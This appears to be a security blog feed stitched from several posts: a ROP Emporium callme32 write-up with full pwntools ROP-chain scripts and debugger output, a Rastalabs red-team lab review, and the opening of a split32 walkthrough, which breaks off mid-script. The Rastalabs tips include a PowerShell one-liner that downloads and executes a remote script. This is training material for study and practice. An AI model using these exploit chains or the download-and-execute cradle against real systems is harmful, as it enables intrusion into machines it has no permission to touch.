If we let execution continue we see that we get a segfault when the process tries to return to our 0x42424242 address, and our arguments are still there at the top of the stack. This is problematic, as we want to redirect to our second function callme_two, but if we do then the stack is set up so that 0x00000001 would be the return address, and 0x00000002 would be the first argument and so on... so what can we do?
Here we use what is known as a rop gadget. A gadget is any set of instructions that ends in a ret or similar command, so that we can execute those instructions and then return to our rop chain.
Here, if we can find a pop-pop-pop-ret and use that as our first return address, it will pop our three arguments off the stack and then return to the next address, which can be anything!
It doesn't matter what registers the values are getting popped into (as long as it isn't ESP or EIP of course), it just matters that they are being popped off the stack.
Let's use gdb-gef to search for gadgets. If we run gef help
we can see the gef commands, including ropper
.
We can use ropper to search for any pop-pop-pop-ret by using the % sign as a wildcard to match any string.
gef➤ ropper --search "pop %; pop %; pop %; ret"
[INFO] Load gadgets for section: PHDR
[LOAD] loading... 100%
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop %; pop %; pop %; ret
[INFO] File: /root/ctfs/ropemporium/32/callme/callme32
0x080488a8: pop ebx; pop esi; pop edi; pop ebp; ret;
0x080488aa: pop edi; pop ebp; ret;
0x080488a9: pop esi; pop edi; pop ebp; ret;
0x080488c0: pop ss; add byte ptr [eax], al; add esp, 8; pop ebx; ret;
gef➤
Perfect! We have a nice pop-pop-pop-ret at 0x080488a9, so lets make this our return address, and then just add the stack frame for callme_two immediately afterwards!
#!/usr/bin/env python2
import pwn
# Set the context for any pwntools magic
pwn.context.arch = 'i386'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./callme32')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']
# Function pointers
callme_one_plt = binary.symbols.plt.callme_one
callme_two_plt = binary.symbols.plt.callme_two
callme_three_plt = binary.symbols.plt.callme_three
pwn.info("callme_one_plt: %#x", callme_one_plt)
pwn.info("callme_two_plt: %#x", callme_two_plt)
pwn.info("callme_three_plt: %#x", callme_three_plt)
# GDB Commands
gdb_cmds = [
'b* %#x' % callme_one_plt,
'c'
]
# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))
io.recvuntil("> ")
#io.sendline(pwn.cyclic(100))
# Create rop chain
rop = ""
rop += pwn.p32(callme_one_plt) # <- inital overwrite to callme_one
rop += pwn.p32(0x080488a9) # | callme_one return address to pop-pop-pop-ret
rop += pwn.p32(0x1) # | callme_one arg1
rop += pwn.p32(0x2) # | callme_one arg2
rop += pwn.p32(0x3) # <` callme_one arg3
rop += pwn.p32(callme_two_plt) # <- pop-pop-pop-ret returns here
rop += "BBBB" # | callme_two return address
rop += pwn.p32(0x1) # | callme_two arg1
rop += pwn.p32(0x2) # | callme_two arg2
rop += pwn.p32(0x3) # <` callme_two arg3
# Use the pwn.fit function to create a payload with the overwrite offset set to the rop chain
overwrite = 0x6161616c
payload = pwn.fit({
overwrite: str(rop)
})
io.sendline(payload)
io.interactive()
Running this we break at callme_one again, we can step through and see that we return to our pop-pop-pop-ret, which pops our inital arguments of the stack and then returns to callme_two with the correct arguments in place!
[ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0x0 $ebx : 0x0 $ecx : 0x15 $edx : 0x9850168 → 0x00000000 $esp : 0xff8df670 → 0x080488a9 → <__libc_csu_init+89> pop esi $ebp : 0x6161616b ("kaaa"?) $esi : 0xf7f0b000 → 0x001d5d8c $edi : 0x0 $eip : 0xf7f387cc → <callme_one+252> ret $eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $fs: 0x0000 $ds: 0x002b $gs: 0x0063 $cs: 0x0023 $ss: 0x002b $es: 0x002b ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0xff8df670│+0x00: 0x080488a9 → <__libc_csu_init+89> pop esi ← $esp 0xff8df674│+0x04: 0x00000001 0xff8df678│+0x08: 0x00000002 0xff8df67c│+0x0c: 0x00000003 0xff8df680│+0x10: 0x08048620 → <callme_two@plt+0> jmp DWORD PTR ds:0x804a030 0xff8df684│+0x14: 0x42424242 0xff8df688│+0x18: 0x00000001 0xff8df68c│+0x1c: 0x00000002 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]──── 0xf7f387c4 <callme_one+244> std 0xf7f387c5 <callme_one+245> (bad) 0xf7f387c6 <callme_one+246> call DWORD PTR [eax-0x3603a275] → 0xf7f387cc <callme_one+252> ret ↳ 0x80488a9 <__libc_csu_init+89> pop esi 0x80488aa <__libc_csu_init+90> pop edi 0x80488ab <__libc_csu_init+91> pop ebp 0x80488ac <__libc_csu_init+92> ret 0x80488ad lea esi, [esi+0x0] 0x80488b0 <__libc_csu_fini+0> repz ret ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "callme32", stopped, reason: SINGLE STEP ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0xf7f387cc → Name: callme_one() [#1] 0x80488a9 → Name: __libc_csu_init() ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0xf7f387cc in callme_one () from ./libcallme32.so
And once we enter callme_two:
[ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0x0 $ebx : 0x0 $ecx : 0x15 $edx : 0x9850168 → 0x00000000 $esp : 0xff8df684 → 0x42424242 ("BBBB"?) $ebp : 0x3 $esi : 0x1 $edi : 0x2 $eip : 0xf7f387cd → <callme_two+0> push ebp $eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $fs: 0x0000 $ds: 0x002b $gs: 0x0063 $cs: 0x0023 $ss: 0x002b $es: 0x002b ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0xff8df684│+0x00: 0x42424242 ← $esp 0xff8df688│+0x04: 0x00000001 0xff8df68c│+0x08: 0x00000002 0xff8df690│+0x0c: 0x00000003 0xff8df694│+0x10: 0xff8d000a → 0x00000000 0xff8df698│+0x14: 0xff8df72c → 0xff8e065a → "LC_NUMERIC=en_GB.UTF-8" 0xff8df69c│+0x18: 0xff8df6b4 → 0x00000000 0xff8df6a0│+0x1c: 0x00000001 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]──── 0xf7f387c5 <callme_one+245> (bad) 0xf7f387c6 <callme_one+246> call DWORD PTR [eax-0x3603a275] 0xf7f387cc <callme_one+252> ret → 0xf7f387cd <callme_two+0> push ebp 0xf7f387ce <callme_two+1> mov ebp, esp 0xf7f387d0 <callme_two+3> push esi 0xf7f387d1 <callme_two+4> push ebx 0xf7f387d2 <callme_two+5> sub esp, 0x10 0xf7f387d5 <callme_two+8> call 0xf7f385a0 <__x86.get_pc_thunk.bx> ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "callme32", stopped, reason: SINGLE STEP ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0xf7f387cd → Name: callme_two() ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0xf7f387cd in callme_two () from ./libcallme32.so
We see our BBBB return address and arguments correctly placed on the stack!
Let's do the same for callme_three and then execute the whole chain!
#!/usr/bin/env python2
import pwn
# Set the context for any pwntools magic
pwn.context.arch = 'i386'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./callme32')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']
# Function pointers
callme_one_plt = binary.symbols.plt.callme_one
callme_two_plt = binary.symbols.plt.callme_two
callme_three_plt = binary.symbols.plt.callme_three
exit_plt = binary.symbols.plt.exit
pwn.info("callme_one_plt: %#x", callme_one_plt)
pwn.info("callme_two_plt: %#x", callme_two_plt)
pwn.info("callme_three_plt: %#x", callme_three_plt)
# GDB Commands
gdb_cmds = [
'b* %#x' % callme_one_plt,
'c'
]
# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))
io.recvuntil("> ")
#io.sendline(pwn.cyclic(100))
# Create rop chain
rop = ""
rop += pwn.p32(callme_one_plt) # <- inital overwrite to callme_one
rop += pwn.p32(0x080488a9) # | callme_one return address to pop-pop-pop-ret
rop += pwn.p32(0x1) # | callme_one arg1
rop += pwn.p32(0x2) # | callme_one arg2
rop += pwn.p32(0x3) # <` callme_one arg3
rop += pwn.p32(callme_two_plt) # <- pop-pop-pop-ret returns here
rop += pwn.p32(0x080488a9) # | callme_two return address to pop-pop-pop-ret
rop += pwn.p32(0x1) # | callme_two arg1
rop += pwn.p32(0x2) # | callme_two arg2
rop += pwn.p32(0x3) # <` callme_two arg3
rop += pwn.p32(callme_three_plt) # <- pop-pop-pop-ret returns here
rop += pwn.p32(exit_plt) # | callme_three return address to exit
rop += pwn.p32(0x1) # | callme_three arg1
rop += pwn.p32(0x2) # | callme_three arg2
rop += pwn.p32(0x3) # <` callme_three arg3
# Use the pwn.fit function to create a payload with the overwrite offset set to the rop chain
overwrite = 0x6161616c
payload = pwn.fit({
overwrite: str(rop)
})
io.sendline(payload)
io.interactive()
Here we also set the callme_three return address to exit@plt so that we exit the process nicely, though it's not strictly necessary as we don't really care if it errors after it prints our flag!
It all seems to be in place, let's give it a run:
[*] '/root/ctfs/ropemporium/32/callme/callme32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) RPATH: './' [*] callme_one_plt: 0x80485c0 [*] callme_two_plt: 0x8048620 [*] callme_three_plt: 0x80485b0 [+] Starting local process '/usr/bin/gdbserver': pid 3642 [*] running in new terminal: /usr/bin/gdb -q "/root/ctfs/ropemporium/32/callme/callme32" -x "/tmp/pwn8CbXJP.gdb" [*] Switching to interactive mode ROPE{a_placeholder_32byte_flag!} Child exited with status 0 [*] Process '/usr/bin/gdbserver' stopped with exit code 0 (pid 3646) [*] Got EOF while reading in interactive
Awesome! We got our flag!
We've pwnd callme32 by setting up our first real rop chain which calls three different functions with arguments. We've picked up a few new tricks in gdb-gef, radare2 and pwntools and really gotten to grips with the layout of a stack frame.
Next time we'll try the fourth challenge, write4, where we'll have to use gadgets to write our own values to memory and then use them to get a shell!
P.S Thanks to @PwnDexter for the awesome title!
]]>I recently blogged on the company site about a new tool I wrote called mykali. It's a tool for quickly and easily configuring Kali boxes 'just the way you like them'. Check it out!
]]>I recently blogged on the company site about a new tool I wrote called mykali. It's a tool for quickly and easily configuring Kali boxes 'just the way you like them'. Check it out!
]]>A Rastlabs story.
So probably like many people, I'd only heard good things about Rastalabs before I picked it up. Sure, people said it was hard, but how bad could it be? I had this.
Boy was I in for a shock.
I picked up one month of Rastalabs for July of 2018. I timed it perfectly so that it started nicely on a Friday afternoon, and finished one month later on a Sunday afternoon. I settled down, cracked my fingers, and set about pwning this motherflipper.
Fast-forward to two days later and I've barely left my seat. It's Sunday night and I'm still desperately trying to find something, anything to give me my initial foothold. I've spent hours and hours poring over the same bits of information, trying to figure out where I was going wrong. Glancing over things one last time before bed, an idea struck me! Five minutes later I'm in. Relief floods over me, a whole weekend down but at least I have something to show for it.
The rest of the month continued in much the same manner. I quickly picked up a few more flags once I was in which gave me a confidence boost, and one by one the others fell, but I did little else for a month besides eat, sleep, work and Rastalabs (as my better half will tell you!).
In the end, one month was literally just enough time to get the flags. In fact, I cut it so close, that even though I still had lab access, the HTB website was no longer accepting flags for me and was saying my time had expired! I quickly created a support ticket however, and the stellar support team had it sorted within a few hours, even on a Sunday!
Once I was done I didn't know what to do with myself. What do you do when something you've been so focused on for so long comes to an end? Ah, of course. A Sunday lunch bacon sandwich!
I was already a member of Hackthebox and the NetSecFocus Mattermost chat server, but I joined the #Rastalabs channel so I could share my pain with other, similarly woeful individuals.
Rastamouse seemed to be ever present and ready to help - I honestly don't know he does it. He seems to have infinite patience, quickly resetting any servers, solving problems and answering questions and somehow staying sane and good-natured through it all.
The lab itself is VPN access, in the way that anyone who has done OSCP or HTB before will be familiar with, and consists of several segregated networks. You land in the 'external' network representing the internet, and have to make your away across a variety of hosts and networks to the ultimate final goal of Domain Admin.
This isn't a simple land-and-fire-up-responder exercise, nor can you rely on frameworks like Metasploit or Empire to get the job done. You have to get familiar with the underlying tools, start to understand Active Directory and what it is in the environment you're specifically looking for. This is great, as anyone can land on a box and fire off a few Metasploit modules, what this lab is teaching you to do is get to grips with the domain and properly start to figure things out for yourself. It's the OSCP equivalent for Windows Domain compromisation.
The only real gripe I had was with some of the other users. This is a redteaming simulation lab, and yet some of them would be dropping binaries and files all over the box, leaving flags or passwords or information in the clear for others to find without clearing up and so on. As the domain is so interconnected, with scripted users performing actions and users with agents and processes all over the place individual boxes can't be reset, only the whole lab, so when users do this it can cause problems for others that follow.
All-in-all it was an incredible experience, as these challenges often are. I learnt a lot, like a lot a lot, and think Rastamouse and the Hackthebox team have done a fantastic job with this lab. At £90 for the month this lab is an absolute bargain and I cannot recommend it enough. I'll be getting another month after a bit of break, so that I can try the exercises again without focusing on the flags. I want to try different tools, and to do it quicker and quieter.
For anyone looking to take on the lab, or who currently are, here are my thoughts and tips:
iex(new-object net.webclient).downloadstring("http://myip/APowerShellScript.ps1")
<3 python -m SimpleHTTPServer 8080
I recently picked up a Proxmark and a Chameleon to do some RFID hacking from Lab401.
They're both great devices and have been a lot of fun so far, I'll be getting properly to grips with these and writing some blog posts for them soon, but for now the guys at Lab401 have generously offered a discount code for jmpesp.me readers: JMPESP-READERS.
They have all sorts of cool gadgets and gizmos for hackers and pentesters, check them out!
]]>ROP Emporium challenges with Radare2 and pwntools.
Last time in Ropping to Victory we went over the basics of Return Oriented Programming using Radare2 and pwntools. We completed the 32-bit ret2win challenge, an easy start given we already had a function that did everything for us, and we just had to call it.
This time we'll be looking at the 32-bit split challenge, this one is a little more difficult as the various bits and pieces we need are split up as opposed to being perfectly set up in one function for us. We'll skip some of the more basic steps from last time, but feel free to refer back if needed.
Like last time, let's start out by taking a look at the file in radare2. We can run the i
command to get information about a binary:
[0x08048480]> i blksz 0x0 block 0x100 fd 3 file split32 format elf iorw false mode -r-x size 0x1e40 humansz 7.6K type EXEC (Executable file) arch x86 binsz 6504 bintype elf bits 32 canary false class ELF32 crypto false endian little havecode true intrp /lib/ld-linux.so.2 lang c linenum true lsyms true machine Intel 80386 maxopsz 16 minopsz 1 nx true os linux pcalign 0 pic false relocs true relro partial rpath NONE static false stripped false subsys linux va true
There's a lot of useful information here, but let's note in particular that pic (position-independent-code) is disabled (also known as PIE or ASLR) and we do have the no-execute bit set (nx).
NX means that the stack will not be executable, which is what we expect, this is a ROP challenge so if we could just dump shellcode on the stack and execute it it would defeat the purpose of the challenge! Having PIC disabled means that our binary will not be loaded into memory at a random offset, so any memory addresses we find we can safely re-use.
Note however that most modern day operating systems have PIC enabled by default so the addresses of items in linked libraries, such as system in libc will be randomised.
Let's have a look at what functions are available:
[0x08048480]> afl 0x080483c0 3 35 sym._init 0x08048400 1 6 sym.imp.printf 0x08048410 1 6 sym.imp.fgets 0x08048420 1 6 sym.imp.puts 0x08048430 1 6 sym.imp.system 0x08048440 1 6 sym.imp.__libc_start_main 0x08048450 1 6 sym.imp.setvbuf 0x08048460 1 6 sym.imp.memset 0x08048470 1 6 sub.__gmon_start_470 0x08048480 1 33 entry0 0x080484b0 1 4 sym.__x86.get_pc_thunk.bx 0x080484c0 4 43 sym.deregister_tm_clones 0x080484f0 4 53 sym.register_tm_clones 0x08048530 3 30 sym.__do_global_dtors_aux 0x08048550 4 43 -> 40 entry1.init 0x0804857b 1 123 sym.main 0x080485f6 1 83 sym.pwnme 0x08048649 1 25 sym.usefulFunction 0x08048670 4 93 sym.__libc_csu_init 0x080486d0 1 2 sym.__libc_csu_fini 0x080486d4 1 20 sym._fini [0x08048480]>
This looks similar to last time, we have a pwnme function and a usefulFunction.
Looking at the main function again we see that it just prints some stuff and calls pwnme, similar to last time. Let's take a closer look at this pwnme function.
[0x08048480]> pdf @ sym.pwnme / (fcn) sym.pwnme 83 | sym.pwnme (); | ; var int local_28h @ ebp-0x28 | ; CALL XREF from 0x080485d4 (sym.main) | 0x080485f6 55 push ebp | 0x080485f7 89e5 mov ebp, esp | 0x080485f9 83ec28 sub esp, 0x28 ; '(' | 0x080485fc 83ec04 sub esp, 4 | 0x080485ff 6a20 push 0x20 ; 32 | 0x08048601 6a00 push 0 ; size_t n | 0x08048603 8d45d8 lea eax, dword [local_28h] | 0x08048606 50 push eax ; int c | 0x08048607 e854feffff call sym.imp.memset ; void *memset(void *s, int c, size_t n) | 0x0804860c 83c410 add esp, 0x10 | 0x0804860f 83ec0c sub esp, 0xc | 0x08048612 6818870408 push str.Contriving_a_reason_to_ask_user_for_data... ; 0x8048718 ; "Contriving a reason to ask user for data..." ; const char * s | 0x08048617 e804feffff call sym.imp.puts ; int puts(const char *s) | 0x0804861c 83c410 add esp, 0x10 | 0x0804861f 83ec0c sub esp, 0xc | 0x08048622 6844870408 push 0x8048744 ; const char * format | 0x08048627 e8d4fdffff call sym.imp.printf ; int printf(const char *format) | 0x0804862c 83c410 add esp, 0x10 | 0x0804862f a180a00408 mov eax, dword [obj.stdin] ; [0x804a080:4]=0 | 0x08048634 83ec04 sub esp, 4 | 0x08048637 50 push eax | 0x08048638 6a60 push 0x60 ; '`' ; 96 | 0x0804863a 8d45d8 lea eax, dword [local_28h] | 0x0804863d 50 push eax ; char *s | 0x0804863e e8cdfdffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream) | 0x08048643 83c410 add esp, 0x10 | 0x08048646 90 nop | 0x08048647 c9 leave \ 0x08048648 c3 ret [0x08048480]>
This also looks pretty similar to last time. We can see that 0x20 (32) bytes get zeroed out in a call to memset for the local_28h variable, and then this variable has 0x60 (96) bytes written to it using fgets, another buffer overflow found!
Let's enter Visual Mode in Radare2 and rename this variable, in case we come back to this function later.
Visual mode is a great tool in Radare2 that adds a sort of Text User Interface for analysing the code. To enter Visual Mode, we can use V
, and we'll be presented with something similar to the following (albeit with colour highlighting!).
[0x08048480 14% 3024 split32]> xc @ entry0
- offset - | 0 1 2 3 4 5 6 7 8 9 A B C D E F| 0123456789ABCDEF comment
0x08048480 |31ed 5e89 e183 e4f0 5054 5268 d086 0408| 1.^.....PTRh.... ; [14] --r-x section size 594 named .text
0x08048490 |6870 8604 0851 5668 7b85 0408 e89f ffff| hp...QVh{....... ; void * stack_end ; int argc
0x080484a0 |fff4 6690 6690 6690 6690 6690 6690 6690| ..f.f.f.f.f.f.f.
0x080484b0 |8b1c 24c3 6690 6690 6690 6690 6690 6690| ..$.f.f.f.f.f.f.
0x080484c0 |b84f a004 082d 4ca0 0408 83f8 0676 1ab8| .O...-L......v..
0x080484d0 |0000 0000 85c0 7411 5589 e583 ec14 684c| ......t.U.....hL
0x080484e0 |a004 08ff d083 c410 c9f3 c390 8d74 2600| .............t&.
0x080484f0 |b84c a004 082d 4ca0 0408 c1f8 0289 c2c1| .L...-L.........
0x08048500 |ea1f 01d0 d1f8 741b ba00 0000 0085 d274| ......t........t
0x08048510 |1255 89e5 83ec 1050 684c a004 08ff d283| .U.....PhL......
0x08048520 |c410 c9f3 c38d 7426 008d bc27 0000 0000| ......t&...'....
0x08048530 |803d 88a0 0408 0075 1355 89e5 83ec 08e8| .=.....u.U......
0x08048540 |7cff ffff c605 88a0 0408 01c9 f3c3 6690| |.............f.
0x08048550 |b810 9f04 088b 1085 d275 05eb 938d 7600| .........u....v.
0x08048560 |ba00 0000 0085 d274 f255 89e5 83ec 1450| .......t.U.....P
0x08048570 |ffd2 83c4 10c9 e975 ffff ff8d 4c24 0483| .......u....L$..
0x08048580 |e4f0 ff71 fc55 89e5 5183 ec04 a184 a004| ...q.U..Q.......
0x08048590 |086a 006a 026a 0050 e8b3 feff ff83 c410| .j.j.j.P........ ; size_t size ; int mode
0x080485a0 |a160 a004 086a 006a 026a 0050 e89f feff| .`...j.j.j.P.... ; size_t size ; int mode
0x080485b0 |ff83 c410 83ec 0c68 f086 0408 e85f feff| .......h....._.. ; const char * s
0x080485c0 |ff83 c410 83ec 0c68 0687 0408 e84f feff| .......h.....O.. ; const char * s
0x080485d0 |ff83 c410 e81d 0000 0083 ec0c 680e 8704| ............h... ; const char * s
0x080485e0 |08e8 3afe ffff 83c4 10b8 0000 0000 8b4d| ..:............M
0x080485f0 |fcc9 8d61 fcc3 5589 e583 ec28 83ec 046a| ...a..U....(...j
0x08048600 |206a 008d 45d8 50e8 54fe ffff 83c4 1083| j..E.P.T....... ; size_t n ; int c
0x08048610 |ec0c 6818 8704 08e8 04fe ffff 83c4 1083| ..h............. ; const char * s
0x08048620 |ec0c 6844 8704 08e8 d4fd ffff 83c4 10a1| ..hD............ ; const char * format
0x08048630 |80a0 0408 83ec 0450 6a60 8d45 d850 e8cd| .......Pj`.E.P.. ; char *s
0x08048640 |fdff ff83 c410 90c9 c355 89e5 83ec 0883| .........U......
0x08048650 |ec0c 6847 8704 08e8 d4fd ffff 83c4 1090| ..hG............ ; const char * string
0x08048660 |c9c3 6690 6690 6690 6690 6690 6690 6690| ..f.f.f.f.f.f.f.
0x08048670 |5557 5653 e837 feff ff81 c387 1900 0083| UWVS.7..........
0x08048680 |ec0c 8b6c 2420 8db3 0cff ffff e82f fdff| ...l$ ......./..
0x08048690 |ff8d 8308 ffff ff29 c6c1 fe02 85f6 7425| .......)......t%
This is Visual Mode. We have the memory addresses on the left and a hexdump on the right. We can cycle through the various Visual Mode panels using p
and P
, and quit at any time back to 'command mode' by hitting q
.
Let's cycle through the panels until we hit the Disassembly panel, which should be the next screen by default.
[0x08048480 14% 864 split32]> pd $r @ entry0
;-- section..text:
;-- eip:
/ (fcn) entry0 33
| entry0 ();
| 0x08048480 31ed xor ebp, ebp ; [14] --r-x section size 594 named .text
| 0x08048482 5e pop esi
| 0x08048483 89e1 mov ecx, esp
| 0x08048485 83e4f0 and esp, 0xfffffff0
| 0x08048488 50 push eax
| 0x08048489 54 push esp
| 0x0804848a 52 push edx
| 0x0804848b 68d0860408 push sym.__libc_csu_fini ; 0x80486d0
| 0x08048490 6870860408 push sym.__libc_csu_init ; 0x8048670 ; "UWVS\xe87\xfe\xff\xff\x81\u00c7\x19"
| 0x08048495 51 push ecx
| 0x08048496 56 push esi ; void * stack_end
| 0x08048497 687b850408 push sym.main ; 0x804857b ; int argc
\ 0x0804849c e89fffffff call sym.imp.__libc_start_main ;[1] ; int __libc_start_main(func main, int argc, char **ubp_av, func init, func fini, func rtld_fini, void *stack_end)
0x080484a1 f4 hlt
0x080484a2 6690 nop
0x080484a4 6690 nop
0x080484a6 6690 nop
0x080484a8 6690 nop
0x080484aa 6690 nop
0x080484ac 6690 nop
0x080484ae 6690 nop
/ (fcn) sym.__x86.get_pc_thunk.bx 4
| sym.__x86.get_pc_thunk.bx ();
| ; CALL XREF from 0x080486d8 (sym._fini)
| ; CALL XREF from 0x08048674 (sym.__libc_csu_init)
| ; CALL XREF from 0x080483c4 (sym._init)
| 0x080484b0 8b1c24 mov ebx, dword [esp]
\ 0x080484b3 c3 ret
0x080484b4 6690 nop
0x080484b6 6690 nop
0x080484b8 6690 nop
0x080484ba 6690 nop
0x080484bc 6690 nop
0x080484be 6690 nop
We now see the disassembled entry0 function, as this is the default entry point and we've not seeked to anywhere else.
Let's navigate to our pwnme function, first by hitting v
, then scrolling to pwnme and then hitting g
to "go". We can then hit c
for "cursor" mode and scrolling around the disassembled pwnme function using the arrow keys (or vim's hjkl if preferred).
[0x080485f6 19% 270 (0xd:-1=1)]> pd $r @ sym.pwnme+13 # 0x8048603
/ (fcn) sym.pwnme 83
| sym.pwnme ();
| ; var int local_28h @ ebp-0x28
| ; CALL XREF from 0x080485d4 (sym.main)
| 0x080485f6 55 push ebp
| 0x080485f7 89e5 mov ebp, esp
| 0x080485f9 83ec28 sub esp, 0x28 ; '('
| 0x080485fc 83ec04 sub esp, 4
| 0x080485ff 6a20 push 0x20 ; 32
| 0x08048601 6a00 push 0 ; size_t n
| 0x08048603 * 8d45d8 lea eax, dword [local_28h]
| 0x08048606 50 push eax ; int c
| 0x08048607 e854feffff call sym.imp.memset ;[1] ; void *memset(void *s, int c, size_t n)
| 0x0804860c 83c410 add esp, 0x10
| 0x0804860f 83ec0c sub esp, 0xc
| 0x08048612 6818870408 push str.Contriving_a_reason_to_ask_user_for_data... ; 0x8048718 ; "Contriving a reason to ask user for data..." ; const char * s
| 0x08048617 e804feffff call sym.imp.puts ;[2] ; int puts(const char *s)
| 0x0804861c 83c410 add esp, 0x10
| 0x0804861f 83ec0c sub esp, 0xc
| 0x08048622 6844870408 push 0x8048744 ; const char * format
| 0x08048627 e8d4fdffff call sym.imp.printf ;[3] ; int printf(const char *format)
| 0x0804862c 83c410 add esp, 0x10
| 0x0804862f a180a00408 mov eax, dword [obj.stdin] ; [0x804a080:4]=0
| 0x08048634 83ec04 sub esp, 4
| 0x08048637 50 push eax
| 0x08048638 6a60 push 0x60 ; '`' ; 96
| 0x0804863a 8d45d8 lea eax, dword [local_28h]
| 0x0804863d 50 push eax ; char *s
| 0x0804863e e8cdfdffff call sym.imp.fgets ;[4] ; char *fgets(char *s, int size, FILE *stream)
| 0x08048643 83c410 add esp, 0x10
| 0x08048646 90 nop
| 0x08048647 c9 leave
\ 0x08048648 c3 ret
We've scrolled down to the first instance of our local_28h variable. We can rename this flag in Radare2 by hitting d
(for "define") and then choosing the rename flag option, n
.
Let's rename it to user_input and hit Enter, then hit ;
to add a comment for that line and detail that it's overflowable.
Once we're done, we can see things look that little bit clearer:
[0x080485f6 19% 270 (0xd:-1=1)]> pd $r @ sym.pwnme+13 # 0x8048603 / (fcn) sym.pwnme 83 | sym.pwnme (); | ; var int user_input @ ebp-0x28 | ; CALL XREF from 0x080485d4 (sym.main) | 0x080485f6 55 push ebp | 0x080485f7 89e5 mov ebp, esp | 0x080485f9 83ec28 sub esp, 0x28 ; '(' | 0x080485fc 83ec04 sub esp, 4 | 0x080485ff 6a20 push 0x20 ; 32 | 0x08048601 6a00 push 0 ; size_t n | 0x08048603 * 8d45d8 lea eax, dword [user_input] ; this buffer is overflowable! | 0x08048606 50 push eax ; int c | 0x08048607 e854feffff call sym.imp.memset ;[1] ; void *memset(void *s, int c, size_t n) | 0x0804860c 83c410 add esp, 0x10 | 0x0804860f 83ec0c sub esp, 0xc | 0x08048612 6818870408 push str.Contriving_a_reason_to_ask_user_for_data... ; 0x8048718 ; "Contriving a reason to ask user for data..." ; const char * s | 0x08048617 e804feffff call sym.imp.puts ;[2] ; int puts(const char *s) | 0x0804861c 83c410 add esp, 0x10 | 0x0804861f 83ec0c sub esp, 0xc | 0x08048622 6844870408 push 0x8048744 ; const char * format | 0x08048627 e8d4fdffff call sym.imp.printf ;[3] ; int printf(const char *format) | 0x0804862c 83c410 add esp, 0x10 | 0x0804862f a180a00408 mov eax, dword [obj.stdin] ; [0x804a080:4]=0 | 0x08048634 83ec04 sub esp, 4 | 0x08048637 50 push eax | 0x08048638 6a60 push 0x60 ; '`' ; 96 | 0x0804863a 8d45d8 lea eax, dword [user_input] | 0x0804863d 50 push eax ; char *s | 0x0804863e e8cdfdffff call sym.imp.fgets ;[4] ; char *fgets(char *s, int size, FILE *stream) | 0x08048643 83c410 add esp, 0x10 | 0x08048646 90 nop | 0x08048647 c9 leave \ 0x08048648 c3 ret
Next let's take a look at the usefulFunction, and see what we have to work with for our exploit.
We navigate to this function in Visual Mode, in the same way as we did for pwnme, v
to list the functions, then g
to go to it.
[0x08048649 20% 270 (0x9:-1=1)]> pd $r @ sym.usefulFunction+9 # 0x8048652 / (fcn) sym.usefulFunction 25 | sym.usefulFunction (); | 0x08048649 55 push ebp | 0x0804864a 89e5 mov ebp, esp | 0x0804864c 83ec08 sub esp, 8 | 0x0804864f 83ec0c sub esp, 0xc | 0x08048652 * 6847870408 push str.bin_ls ; 0x8048747 ; "/bin/ls" ; const char * string | 0x08048657 e8d4fdffff call sym.imp.system ;[1] ; int system(const char *string) | 0x0804865c 83c410 add esp, 0x10 | 0x0804865f 90 nop | 0x08048660 c9 leave \ 0x08048661 c3 ret
We can see that we have our system call again, much like last time, however the command being executed isn't showing us our flag but just invoking /bin/ls to list the files in the current directory.
Let's have a look at what strings are available to us in the binary. To do this, we use the iz
command to list all strings in the data sections, or izz
to list all strings in the binary. However this is a none-Visual Mode command, so to execute it from Visual Mode we hit :
, then enter the command. This is a little bit easier than quitting out to command mode, then re-entering Visual Mode and finding where we were.
We check just the data sections first, as this is the section where strings used by the binary are normally stored.
Press <enter> to return to Visual mode.(sym.__libc_csu_init) :> iz 000 0x000006f0 0x080486f0 21 22 (.rodata) ascii split by ROP Emporium 001 0x00000706 0x08048706 7 8 (.rodata) ascii 32bits\n 002 0x0000070e 0x0804870e 8 9 (.rodata) ascii \nExiting 003 0x00000718 0x08048718 43 44 (.rodata) ascii Contriving a reason to ask user for data... 004 0x00000747 0x08048747 7 8 (.rodata) ascii /bin/ls 000 0x00001030 0x0804a030 17 18 (.data) ascii /bin/cat flag.txt :>
Aha! We spot a string we can use at another location in memory. /bin/cat flag.txt is the same command as in ret2win, which should just print our flag value to the screen for us.
We have the pieces we need, let's set about exploiting this thing.
Let's create our pwntools script in the same way as last time, and use pwn.cyclic to determine the offset to EIP.
#!/usr/bin/env python2
import pwn
t = pwn.process("./split32")
